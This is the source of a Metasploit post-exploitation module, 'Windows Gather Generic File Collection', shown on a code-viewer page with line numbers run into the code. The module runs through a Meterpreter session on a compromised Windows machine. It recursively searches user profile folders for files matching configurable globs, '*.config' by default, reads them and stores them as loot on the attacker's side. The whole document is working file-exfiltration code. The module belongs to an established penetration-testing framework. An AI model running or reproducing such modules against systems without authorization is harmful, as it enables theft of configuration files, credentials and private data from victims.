Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_files.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::FileSystem8include Msf::Post::Windows::Version9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Gather Generic File Collection',16'Description' => %q{17This module downloads files recursively based on the FILE_GLOBS option.18},19'License' => MSF_LICENSE,20'Author' => [21'3vi1john <Jbabio[at]me.com>',22'RageLtMan <rageltman[at]sempervictus>'23],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_fs_search30stdapi_railgun_api31stdapi_sys_config_getenv32]33}34}35)36)3738register_options(39[40OptString.new('SEARCH_FROM', [ false, 'Search from a specific location. Ex. C:\\']),41OptString.new('FILE_GLOBS', [ true, 'The file pattern to search for in a filename', '*.config'])42]43)44end4546def download_files(location, file_type)47sysdriv = client.sys.config.getenv('SYSTEMDRIVE')48profile_path_old = sysdriv + '\\Documents and Settings\\'49profile_path_new = sysdriv + '\\Users\\'5051version = get_version_info52if location53print_status("Searching #{location}")54getfile = client.fs.file.search(location, file_type, true, -1)5556elsif version.build_number < Msf::WindowsVersion::Vista_SP057print_status("Searching #{profile_path_old} through windows user profile structure")58getfile = client.fs.file.search(profile_path_old, file_type, true, -1)59else60# For systems such as: Windows 7|Windows Vista|200861print_status("Searching #{profile_path_new} through windows user profile structure")62getfile = client.fs.file.search(profile_path_new, file_type, true, -1)63end6465getfile.each do |file|66filename = "#{file['path']}\\#{file['name']}"67data = read_file(filename)68print_status("Downloading #{file['path']}\\#{file['name']}")69p = store_loot('host.files', 'application/octet-stream', session, data, file['name'], filename)70print_good("#{file['name']} saved as: #{p}")71end72end7374def run75# When the location is set, make sure we have a valid path format76location = datastore['SEARCH_FROM']77if location && location !~ (%r{^([a-z]):[\\|/].*}i)78print_error("Invalid SEARCH_FROM option: #{location}")79return80end8182# When the location option is set, make sure we have a valid drive letter83my_drive = ::Regexp.last_match(1)84drives = get_drives85if location && !drives.include?(my_drive)86print_error("#{my_drive} drive is not available, please try: #{drives.inspect}")87return88end8990datastore['FILE_GLOBS'].split(',').each do |glob|91download_files(location, glob.strip)92rescue ::Rex::Post::Meterpreter::RequestError => e93if e.message =~ /The device is not ready/94print_error("#{my_drive} drive is not ready")95next96elsif e.message =~ /The system cannot find the path specified/97print_error('Path does not exist')98next99else100raise e101end102end103104print_status('Done!')105end106end107108109